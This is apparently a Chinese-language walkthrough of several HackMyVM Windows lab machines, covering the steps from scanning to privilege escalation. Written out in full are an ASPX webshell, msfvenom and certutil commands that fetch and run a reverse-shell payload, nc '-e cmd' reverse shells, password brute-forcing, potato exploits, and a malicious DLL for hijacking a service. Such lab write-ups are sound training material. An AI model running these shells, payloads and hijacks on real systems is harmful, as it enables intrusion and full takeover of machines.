链接: https://pan.baidu.com/s/142B68xL_2UOhwLipeci1Kg 提取码: v6h1
又来码字了,正如你所见,这是一篇2w字的长文
相比上一篇文章
这篇文章主要是基于windows的渗透教程
基本下班时候回家才写的,还是很有学习价值的,很适合不了解windows渗透和域渗透的师傅们
这些靶机都是免费开源的,域渗透这块也写的很详细
这次靶场渗透,DC01,DC02,DC03,DC04是域渗透,也是Hackmyvm中的全部windows机器
不是vulnhub上的9个dc,难度相对来说比较难,其他为提权靶机,提权linux在linux中学的比较好的话,在windows这块应该也不是问题
linux渗透以及提权文章合集(基于vulnhub和红日靶场):https://longyusec.com/longyushoulu/oscpdaba/
适合刚开始学windows提权的师傅们,顺序由最简单,到最难,由提权到域渗透以及kerberos攻击、土豆提权、烂土豆提权、runas提权、msf内核漏扫、hash传递(PTH)域内SID枚举等等。
如果在复现的过程中出现了什么问题,欢迎师傅们添加我的微信交流,+ baibaixiaoyu2024
在开始之前,先打一波广告
点击即达
1、HackMyVm-OMG :简单
1.1 信息打点
这个靶机比较简单,主要需要考虑web的全面目录扫描,包括.开头的隐藏文件
首先是80端口

全端口扫描

1.2 目录扫描
这里有一个xampp可以利用
dirsearch -u http://10.10.10.156/

1.3 全面目录扫描
使用各种目录扫描,爆出来一个.version隐藏文件
gobuster dir -u http://10.10.10.156/dashboard/ -w /usr/share/wordlists/dirb/common.txt -x php,asp,aspx,heml,zip
wfuzz -u http://10.10.10.156/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200
wfuzz -u http://10.10.10.156/images/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200
wfuzz -u http://10.10.10.156/Webalizer/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200
wfuzz -u http://10.10.10.156/xampp/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --sc 200

使用curl查看版本信息,这是php的版本
curl http://10.10.10.156/xampp/.version

1.4 漏洞利用
漏洞原理,找了半天才找到,可以查看下面这个文章,漏洞利用如下
https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv

2、HackMyVm-quoted :简单
2.1 信息打点
web界面

2.2 ftp匿名登录
端口扫描,看到了可以匿名登录

利用ftp匿名登录,账号ftp,密码没有,直接回车就能连接ftp服务器,发现这个ftp服务器,就是web目录,尝试使用put上传一个file.txt测试文件

访问这个file文件,上传成功!

2.3 获取shell
我们上传一个cmdasp.aspx上去
这个文件kali自带,在 /usr/share/webshells/aspx/cmdasp.aspx
源码如下
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->

我们找到这个1.exe,可以使用如下cmd命令进行定位,msf注意监听,即可反弹过来
where /r c:\ shell.exe # 查找在c盘指定文件的位置

2.4 msf内核漏扫
在meteroreter模块中使用bg命令,将这个会话运行在后台,使用本地提权扫描模块,设置好相关的配置

启动扫描,这个靶机有10个提权漏洞

10个提权payload 只有 exploit/windows/local/ms16_075_reflection_juicy这个模块使用成功

3、HackMyVm-Zero :简单
3.1 信息打点
nmap -sS 192.168.53.9 -T4

nmap -sS -p 53,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.53.9 -T4 -A

使用enum4linux-ng枚举目标系统信息,发现smb服务开启,且支持smb1.0协议,可能存在永恒之蓝漏洞
enum4linux-ng -A 192.168.53.9 -C/

3.2 漏洞扫描
使用nmap进行端口漏洞扫描,确实存在永痕之蓝漏洞

3.3 漏洞利用
永痕之蓝漏洞直接打开MSF(复现的过程中,可能需要手工使用永痕之蓝poc,可以参考下面文章)
https://hgbe02.github.io/Hackmyvm/Zero.html


4、HackMyVm-Simple :简单
4.1 信息打点
端口扫描

web界面,通过界面可能存在的系统用户如下
ruy, marcos, lander, bogo, vaiper

4.2 nxc服务爆破
把上面的几个用户,追加到一个字典中,并使用这些用户作为密码进行爆破或者使用rokyou.txt
nxc smb 192.168.0.139 -u user -p user
nxc smb 192.168.0.139 -u user -p /usr/share/wordlists/rokyou.txt

发现是紫色的提示,翻译一下错误就能发现,这密码过期了,需要登录到虚拟机上修改这个账号的密码
4.3 近源攻击
按esc进入用户列表,选择bogo用户:

输入正确的密码bogo后,需要你修改密码

尝试执行命令,一切正常

4.4 smb渗透
再来到smb登录这块,就能正常登录了

再LOGS共享文件中发现了一个日志文件,使用get命令将它下载下来

尝试将之前的用户字典上传上去,使用put命令,发现没有上传权限

日志内容
┌──(root㉿kali)-[/data/demo]
└─# cat 20231008.log
PS C:\> dir \\127.0.0.1\WEB
Acceso denegado
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Cannot find path '\\127.0.0.1\WEB' because it does not exist.
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:\> net use \\127.0.0.1\WEB
Se ha completado el comando correctamente.
PS C:\> dir \\127.0.0.1\WEB
Acceso denegado
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\127.0.0.1\WEB:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
Cannot find path '\\127.0.0.1\WEB' because it does not exist.
At line:1 char:1
+ dir \\127.0.0.1\WEB
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (\\127.0.0.1\WEB:String) [Get-ChildItem], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword
Se ha completado el comando correctamente.
PS C:\> dir \\127.0.0.1\WEB
Directorio: \\127.0.0.1\WEB
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/8/2023 9:46 PM aspnet_client
-a---- 9/26/2023 6:46 PM 703 iisstart.htm
-a---- 10/8/2023 10:46 PM 158 test.php
PS C:\> rm \\127.0.0.1\WEB\*.php
PS C:\> dir \\127.0.0.1\WEB
Directorio: \\127.0.0.1\WEB
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/8/2023 9:46 PM aspnet_client
-a---- 9/26/2023 6:46 PM 703 iisstart.htm
PS C:\>
又得到了一个账号密码user:marcos SuperPassword

这个用户也是一样,密码过期,需要重新设置一下密码,重复之前的步骤就好了

尝试使用put将一个文件上传上去,上传成功!有上传的权限,那么就可以将aspx马上传上去(这里的web大概率就是网站的web目录了)

4.5 获取shell
尝试使用put命令上传文件
cd /usr/share/webshells/aspx
smbclient //192.168.0.139/WEB/ -U marcos
# 密码 SuperPassword
put cmdasp.aspx

访问这个马

使用msfvenom生成反弹shell的木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.147 LPORT=4444 -f exe -o shell.exe
python3 -m http.server

使用下载命令,将这个木马上传到靶机上
certutil -urlcache -split -f http://192.168.0.147:8000/shell.exe c:\shell.exe
# 或者利用smbclient上传也可以,此时只需要输入一个shell.exe在那个aspx命令执行界面

打开msf启动监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.147
run

在命令执行的aspx的输入框中输入这个shell.exe的绝对路径就可以执行,利用下面这个命令定位马的位置
where /r c:\ shell.exe

c:\inetpub\wwwroot\shell.exe
执行马

4.6 msf内核漏洞扫描
bg
use multi/recon/local_exploit_suggester
set session 1
run

尝试利用扫描出来的漏洞
use windows/local/cve_2020_0787_bits_arbitrary_file_move
存在漏洞但是始终没有创建shell会话

找到CVE-2020-0787的exp
# 源码
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION.git
# 创建好的
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases/download/1/BitsArbitraryFileMoveExploit.exe
此时去上传文件(这里我换了一个网,ip就变了,我用的桥接模式,使用vmbox用nat模式会出问题,导致vmware的虚拟器kali访问不到vmbox,这是最简单的解决方法)
smbclient //192.168.110.46/WEB/ -U marcos
put BitsArbitraryFileMoveExploit.exe

提权失败

4.7 土豆提权
切换提权方式土豆提权,将这些全都下载下来
https://github.com/BeichenDream/GodPotato/releases/tag/V1.20

可以看到这里我们执行的whoami已经是系统权限了,此时我们只需要添加一个反弹一个shell到本地来就可以了

msf反弹shell

shell反弹过来后,却不是system权限,接下来要将这个木马设置为系统权限,而不是这个用户的文件,类似于linux中的属主

4.8 修改文件权限
GodPotato-NET4.exe -cmd "cmd /c takeown /f c:\inetpub\wwwroot\shell.exe /a"

重新反弹即可

5、HackMyVm-Liar :简单
5.1 信息打点
nmap -sS 192.168.53.131 -p- -T4

这里有一个用户名nica

使用nmap进行详细的端口扫描
nmap -sS 192.168.53.131 -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49677 -T4 -A

5.2 enum4linux枚举
使用enum4linux-ng枚举目标系统信息,smb服务器开启
enum4linux-ng -A 192.168.53.131 -C

尝试免密登录,登录失败了
smbclient -L //192.168.53.131/ -N
这个免密登录 -N参数就代表着: “空用户名 + 空密码” 的身份,在 Windows 系统中对应的就是
anonymous用户也就是相当于你执行了命令 smbclient -L \192.168.56.114 -U anonymous

5.3 nxc内网渗透
使用smb爆破
nxc smb 192.168.53.131 -u nica -p /usr/share/wordlists/metasploit/burnett_top_1024.txt

爆破结果nica:hardcore,使用账号密码登录smb服务器

从当前操作结果来看,nica 用户虽然凭据有效(能登录 IPC$),但权限较低,无法访问 C$、ADMIN$ 等敏感共享

5.4 远程连接
5985端口开启 ,使用windows版本的ssh连接此服务,可以看到能正常执行命令,登录成功
evil-winrm -i 192.168.53.131 -u nica -p hardcore

看看有哪些用户,大概率就是akanksha用户继续获得其他信息了

继续爆破
nxc smb 192.168.53.131 -u akanksha -p /usr/share/wordlists/rockyou.txt

这也是一个低权限用户

这里就连接不上了
evil-winrm -i 192.168.53.131 -u akanksha -p sweetgirl

5.5 RunasCs提权
那么我们使用工具https://github.com/antonioCoco/RunasCs
以指定用户权限执行命令
*Evil-WinRM* PS C:\Users\nica> upload RunasCs.exe
Info: Uploading /root/Desktop/RunasCs.exe to C:\Users\nica\RunasCs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\nica> dir
Directorio: C:\Users\nica
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 9/15/2018 9:12 AM Desktop
d-r--- 9/26/2023 6:44 PM Documents
d-r--- 9/15/2018 9:12 AM Downloads
d-r--- 9/15/2018 9:12 AM Favorites
d-r--- 9/15/2018 9:12 AM Links
d-r--- 9/15/2018 9:12 AM Music
d-r--- 9/15/2018 9:12 AM Pictures
d----- 9/15/2018 9:12 AM Saved Games
d-r--- 9/15/2018 9:12 AM Videos
-a---- 7/14/2024 10:49 PM 51712 RunasCs.exe
-a---- 9/26/2023 6:44 PM 10 user.txt
*Evil-WinRM* PS C:\Users\nica> ./RunasCs.exe akanksha sweetgirl cmd.exe -r 192.168.53.51:4567
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-2922e6$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 2496 created in background.
> nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.53.51] from (UNKNOWN) [192.168.53.131] 49674
Microsoft Windows [Versi�n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>
成功弹回了shell
C:\Users>whoami /groups
whoami /groups
INFORMACI�N DE GRUPO
——————–
Nombre de grupo Tipo SID Atributos
============================================ ============== ============================================== ========================================================================
Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
WIN-IURF14RBVGV\Idministritirs Alias S-1-5-21-2519875556-2276787807-2868128514-1002 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\INTERACTIVE Grupo conocido S-1-5-4 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
INICIO DE SESI�N EN LA CONSOLA Grupo conocido S-1-2-1 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa��a Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Cuenta local Grupo conocido S-1-5-113 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci�n NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio Etiqueta S-1-16-8192
所属组是Idministritirs 也就是Administrator
C:\Users\Administrador>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: 26CD-AE41
Directorio de C:\Users\Administrador
26/09/2023 18:36 <DIR> .
26/09/2023 18:36 <DIR> ..
26/09/2023 15:11 <DIR> 3D Objects
26/09/2023 15:11 <DIR> Contacts
26/09/2023 15:11 <DIR> Desktop
26/09/2023 15:11 <DIR> Documents
26/09/2023 15:11 <DIR> Downloads
26/09/2023 15:11 <DIR> Favorites
26/09/2023 15:11 <DIR> Links
26/09/2023 15:11 <DIR> Music
26/09/2023 15:24 16.418 new.cfg
26/09/2023 15:11 <DIR> Pictures
26/09/2023 18:36 13 root.txt
26/09/2023 15:11 <DIR> Saved Games
26/09/2023 15:11 <DIR> Searches
26/09/2023 15:11 <DIR> Videos
2 archivos 16.431 bytes
14 dirs 45.911.502.848 bytes libres
C:\Users\Administrador>type root.txt
type root.txt
HMV1******
6、HackMyVm-Nessus :简单
6.1 端口扫描

6.2 漏洞扫描
nmap -sS -p 135,139,445,5985,8834 192.168.53.238 -T4 -A --script=vuln

在访问这个端口的时候,提示你需要使用https访问

那就使用https访问,没有账号密码,登录不进去

6.3 查看smb服务
尝试免密连接smb服务,可以正常连接,并且里面有两个PDF

看看什么内容
My Basic Network Scan_hwhm7q.pdf

Web Application Tests_f6jg9t.pdf

发现作者信息,jose
exiftool [pdf]

6.4 爆破Nessus后台
前面已经发现了,smb是可以免密登录的,那么现在就只有nessus爆破了,来到nessus登录界面,抓包,添加爆破的payload

根据这些数据包,使用wfuzz进行爆破因为要用到kali中的rockyou.txt字典(也可以将rockyou.txt传到本机windows进行爆破)
wfuzz -c -z file,/usr/share/wordlists/rockyou.txt \
-X POST \
-H "Host: 192.168.53.238:8834" \
-H "X-Api-Token: 4c746180-a399-4abd-a9a0-49055fac236f" \
-H "Content-Type: application/json" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" \
-H "Origin: https://192.168.53.238:8834" \
-H "Referer: https://192.168.53.238:8834/" \
-d '{"username":"jose","password":"FUZZ"}' \
--hc 401,403 \
-f result.txt,raw \
https://192.168.53.238:8834/session

得到密码,tequiero

当前nessus版本为10.7.3,应该是比较新的,没有什么漏洞,或者漏洞没有公开(去网上搜了下,可能有一个本地提权漏洞,但是exp没有公开)

6.5 盗取认证信息
来到代理界面,尝试查看源码查看密码,查看失败

那么就利用代理,发送数据包到kali中,看看有没有密码出现,kali记得开nc

kali得到的信息,没有密码信息

一个一个切换,当我切换到basic这个内容

nc接收到的数据包如下,发现一段密文

得到认证信息,解密后就是账号密码
nesus:Z#JuXH$ph-;v@,X&mV)

得到账号密码,和之前那个靶机一样,需要修改登录的密码,这个已经过期了
nxc smb 192.168.53.238 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'

6.6 近源攻击!!
按两次Esc键,来到选择账户界面

修改你的账号密码

修改密码为123456,登录smb,发现什么也没有

6.7 远程连接
那就来到5985端口,执行命令成功!
evil-winrm -i 192.168.53.238 -u nesus -p 123456

6.8 反弹shell
这里我尝试了各种msf的木马,都被杀软给杀了,无意间使用nc的时候就不会被杀,使用nc进行反弹shell(kali记得开监听)

./nc.exe 192.168.53.51 1234 -e cmd

6.9 提权
6.9.1 local_exploit_suggester提权
打开msf(这一步其实很多余,这样子是扫不出来的,基本只有后渗透模块meterperter才能使用)
msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)
# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行
use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块
set session 3 # 设置反弹成功的会话id为3,使用 sessions 即可查看所有的会话id

6.9.2 PrivescCheck提权
内网常见的提权和信息收集文章参考:
https://www.cnblogs.com/Hekeats-L/p/16879325.html
工具链接:
https://github.com/itm4n/PrivescCheck/releases/tag/2025.10.06-1
upload PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck

有一个高危的提权漏洞

看看文件信息

每一项描述如下(如果您精通linux提权的话,将会和linux进行类比)
| Name | 服务的 “内部名字”(操作服务时用,比如启停服务) | nginx 服务的内部名就是 “nginx”(用systemctl restart nginx时的名字) |
后续想重启这个服务,要用到这个名字 |
|---|---|---|---|
| DisplayName | 服务的 “显示名字”(在 Windows 服务面板里看到的名字,方便你找到它) | nginx 在 Linux 里的显示名可能是 “nginx – high performance web server” | 确认你改的是对的服务,别改错了 |
| User | 这个服务是用 “LocalSystem” 权限运行的(Windows 里的最高权限,比管理员还高) | 类比 Linux 里用 “root” 用户运行的 nginx 服务 | 提权的关键!服务跑在最高权限,改了它的程序就能拿最高权限 |
| ImagePath | 服务启动时会执行的 “核心 exe 文件路径”(就是你要替换的那个文件) | 类比 Linux 里 nginx 守护进程的路径/usr/sbin/nginx |
目标文件!把这个 exe 换成恶意程序就行 |
| StartMode | 服务是 “自动启动” 的(开机或服务崩溃后会自己重启) | 类比 Linux 里systemctl enable nginx(开机自启) |
替换文件后不用手动触发,重启机器 / 服务就会执行恶意程序 |
| Type | 服务是 “独立进程”(启动时只跑这个 exe,不依赖其他程序) | 类比 Linux 里 nginx 是独立进程(ps aux | grep nginx 能看到单独的进程) |
|
| RegistryKey/Path | 服务在 Windows 注册表中的配置路径(不用管,提权用不上) | 类比 Linux 里 nginx 的配置文件路径/etc/nginx/nginx.conf(但这里是注册表,不用管) |
次要信息,不用关注 |
| Status | 服务当前状态(空,因为前面警告没查到) | 类比 Linux 里systemctl status nginx报错,看不到 “active” 还是 “inactive” |
后续手动用命令查就行,不影响提权 |
| UserCanStart | 你当前用户 “不能手动启动这个服务” | 类比 Linux 里普通用户不能systemctl start nginx |
没关系,能重启机器或杀进程间接触发 |
| UserCanStop | 你当前用户 “不能手动停止这个服务” | 类比 Linux 里普通用户不能systemctl stop nginx |
没关系,用taskkill(类比 Linux 的 kill)杀进程就行 |
| ModifiablePath | 你能修改的文件路径 —— 就是上面说的那个要替换的 exe(nessus-service.exe) | 类比 Linux 里ls -l /usr/sbin/nginx显示你有 w 权限,能改这个文件 |
明确告诉你 “要改哪个文件” |
| IdentityReference | 拥有这个修改权限的用户 —— 就是你当前的 “NESSUS\nesus” 用户 | 类比 Linux 里ls -l /usr/sbin/nginx显示 “ubuntu rwx”(你的用户有权限) |
确认 “是你自己有这个改文件的权限” |
| Permissions | 你的权限是 “完全控制”(能改、能删、能替换这个 exe,想干嘛干嘛) | 类比 Linux 里的 “rwx” 权限,尤其是 “w”(写入)权限 |
总结一下:你当前的nesus用户,能完全控制一个叫Tenable Nessus的服务 —— 这个服务是用 Windows 最高权限(LocalSystem,类比 Linux root)运行的,启动时会执行nessus-service.exe。而且这个服务是开机自动启动的,你只要把nessus-service.exe换成恶意程序,下次服务启动(重启机器 / 杀进程),恶意程序就会用最高权限跑起来 —— 和你在 Linux 里替换 root 运行的/usr/sbin/nginx、重启后拿 root 权限,完全一样。
cd "C:\Program Files\Tenable\Nessus\"
dir

原来是可以利用直接替换这个应用程序进行提权,但是这里,杀软会查杀掉我们的msf马,要么你有能力过这个windows defender
当然也可以使用nc,但是nc是一个应用程序,需要选用参数,而不是直接执行,就能上线msf或者kali的nc的,需要使用批处理也就是.bat
# kali
echo "C:\Users\nesus\Documents\nc.exe 192.168.53.51 4444 -e cmd.exe" > nessus-service.bat
# evil-winrm
upload nessus-service.bat “C:\Program Files\Tenable\Nessus\nessus-service.exe”

这里漏掉了一个关键(你需要杀死它的进程,让服务自动重启)
我们使用Stop-Process强制重启服务的时候报了一个错误:拒绝访问(Access is denied)
Stop-Process -Id (Get-Process -Name "nessus-service").Id -Force

遇到 “Access denied” 是因为nessus-service进程以LocalSystem权限运行,低权限用户无法直接杀死。
如何解决?尝试更底层的taskkill!
taskkill是 Windows 原生的进程杀死命令,权限处理和Stop-Process不同,先试一次:
taskkill /f /im nessus-service.exe

照样也是拒绝访问。重启计算机也没用,那么就换一种方法,dll劫持!dll劫持!
6.10 DLL劫持
6.10.1 什么是 DLL 劫持?(类比 Linux)
1. 基础定义
DLL(Dynamic Link Library,动态链接库)是 Windows 里的 “共享代码文件”,类似 Linux 的.so文件(Shared Object)。很多程序(比如服务、软件)运行时会主动加载依赖的 DLL 文件(比如调用 DLL 里的函数)。DLL 劫持的本质是:攻击者替换 / 插入一个恶意 DLL 文件,让高权限运行的目标程序(比如 LocalSystem 权限的服务)“误加载” 我们的恶意 DLL,从而执行恶意代码(相当于 Linux 里用LD_PRELOAD强制 root 进程加载恶意.so文件)。
2. 类比 Linux 场景
你在 Linux 里想提权时,可能会用LD_PRELOAD=/tmp/malicious.so /usr/bin/root_program,强制 root 运行的root_program加载你的恶意.so文件,.so里的代码会以 root 权限执行。Windows DLL 劫持和这个逻辑完全一样:让 LocalSystem 权限的Tenable Nessus服务,加载你写的恶意legacy.dll,DLL 里的代码会以 LocalSystem 权限执行。
6.10.2 DLL 劫持提权过程
1、查权限
icacls "C:\Program Files\Tenable\Nessus\*.dll" 是 Windows 中用来查看指定目录下所有dll文件 / 子目录权限的命令,作用类似 Linux 里的 ls -l /path/*.dll(查看某个目录下所有文件的权限详情)。
icacls "C:\Program Files\Tenable\Nessus\*.dll"
为什么要使用这条命令?
确认你当前用户(nesus)对服务依赖的 DLL 文件(比如
legacy.dll)有写入 / 替换权限。从之前的权限结果看,
nesus对这些 DLL 有F(完全控制)权限 —— 相当于 Linux 里用ls -l /usr/lib/root_program_dep.so看到普通用户有w权限,满足 “能替换文件” 的前提。

权限表,和linux差不多,这里多了个修改还有删除,linux中只有rwx
| 符号 | 权限说明 | 对应操作 |
|---|---|---|
F |
完全控制 | 读取、写入、执行、删除、修改属性 |
M |
修改 | 写入、删除(需配合F) |
RX |
读取和执行 | 查看内容、运行程序 |
R |
只读 | 查看内容 |
W |
写入 | 修改内容(需目录权限) |
D |
删除 | 删除文件或子目录 |
2、编写恶意 DLL 代码
在网上找到一个脚本,这是一个基础的恶意 DLL,核心逻辑在DLLMain函数里:
/*
DLL hijacking example
author: @cocomelonc
*/
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // 程序加载DLL时触发(关键分支)
system(“cmd.exe /k net localgroup administrators nesus /add”); // 恶意命令:把nesus加入管理员组
break;
case DLL_PROCESS_DETACH: // 其他分支(进程卸载、线程创建/销毁)暂不用管
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
关键解释:
-
DLLMain是 DLL 的 “入口函数”,类似 Linux.so文件的_init函数 —— 目标程序(Nessus 服务)加载 DLL 时,会自动调用DLLMain,并触发DLL_PROCESS_ATTACH分支。 -
恶意命令
net localgroup administrators nesus /add:把nesus加入管理员组(这里是示例,实际可写反弹 shell 命令,拿到 LocalSystem 权限)。
Linux 类比:写一个恶意.so文件,在_init函数里执行system("usermod -aG sudo ubuntu"),让 root 进程加载时把普通用户加入 sudo 组。
3、编译恶意 DLL(生成 Windows 能识别的格式)
在 Kali 里用mingw编译 C 代码,生成 Windows 可加载的 DLL 文件:
# kali
x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dll
x86_64-w64-mingw32-gcc:Windows 交叉编译器(生成 64 位 Windows 程序,需和目标系统位数匹配);
-shared:生成 “共享库”(即 DLL 文件,对应 Linux 的.so);
-o legacy.dll:输出文件名为legacy.dll(必须和目标服务依赖的 DLL 同名,否则服务找不到)。
4、备份原 DLL + 上传替换(避免服务崩溃 + 植入恶意文件)
# evil-winrm
cd "C:\Program Files\Tenable\Nessus"
mv legacy.dll legacy_beifen.dll # 备份文件
upload legacy.dll # 上传你kali编译的dll文件
备份原 DLL:legacy.dll是 Nessus 服务的依赖文件,直接删除会导致服务崩溃,备份后可回滚(类似 Linux 里cp /usr/lib/libnginx_dep.so /tmp/);
上传替换:让服务下次加载legacy.dll时,加载的是你的恶意 DLL(类似 Linux 里cp /tmp/malicious.so /usr/lib/libnginx_dep.so)。
5、重启虚拟机(触发服务加载恶意 DLL)
最后重启目标机,Nessus 服务会随系统开机启动 —— 启动时会自动加载依赖的legacy.dll(此时已被替换成恶意 DLL):
-
服务以
LocalSystem(Windows 最高权限,类比 Linux root)启动; -
加载恶意
legacy.dll,触发DLLMain的DLL_PROCESS_ATTACH分支; -
执行
net localgroup administrators nesus /add,把nesus加入管理员组(实际可改为反弹 shell 命令,拿到 SYSTEM 权限); -
重启后,
nesus已拥有管理员权限,提权成功。

6.10.3 DLL 劫持的核心利用条件(必须满足这 4 点,否则失败)
和 Linux.so劫持的条件类似,DLL 劫持能成功,必须同时满足以下 4 个条件(你的场景全部满足):
1. 目标程序(服务 / 软件)以高权限运行
-
比如你的
Tenable Nessus服务以LocalSystem权限运行(类比 Linux 里 root 运行的nginx)。 -
若目标程序是普通用户权限,即使劫持成功,也只能拿到普通权限,无法提权。
2. 你对目标程序加载的DLL 文件有写入 / 替换权限
-
你的
icacls结果显示,nesus对legacy.dll有F(完全控制)权限,能备份、删除、替换该 DLL(类比 Linux 里普通用户对/usr/lib/libnginx_dep.so有w权限)。 -
若只有只读权限(
RX),无法替换 DLL,劫持失败。
3. 目标程序会主动加载该 DLL 文件
-
legacy.dll是Tenable Nessus服务的 “依赖 DLL”—— 服务启动时必须加载它才能正常运行(类比 Linux 里nginx必须加载libnginx_dep.so)。 -
若目标程序不加载该 DLL,即使替换了也没用(比如替换一个无关的 DLL 文件)。
4. 恶意 DLL 能被目标程序成功加载
-
恶意 DLL 的格式要正确(比如 32 位 / 64 位和目标程序匹配,你用
x86_64编译对应 64 位系统); -
若目标程序需要 DLL 导出特定函数(比如
LoadLibrary调用的函数),恶意 DLL 需包含这些导出函数(你的示例是基础DLLMain,满足简单加载需求)。 -
类比 Linux 里恶意
.so需符合 ELF 格式,否则无法被nginx加载。
6.10.4 总结:DLL 劫持提权的核心逻辑
找到一个 “高权限运行、且依赖的 DLL 你能替换” 的程序(比如服务),用恶意 DLL 替换原 DLL,让高权限程序执行恶意代码,从而拿到高权限。
7、HackMyVm-Always :简单
7.1 信息打点
nmap -sS -p- -T4 10.10.10.161 -A

使用目录扫描出来一个admin后台界面

查看源码发现账号密码信息

登录进来发现一个base编码

解密
ftpuser:KeepGoingBro!!!

7.2 登录FTP
使用刚刚的账号密码登录
ftp 10.10.10.161

发现了一个robots.txt,使用下面的命令将它下载下来
get robots.txt

查看这个robots.txt中的文件

管理员的秘密笔记
1)禁用防火墙和 Windows Defender。
2)启用 FTP 和 SSH。
3)启动 Apache 服务器。
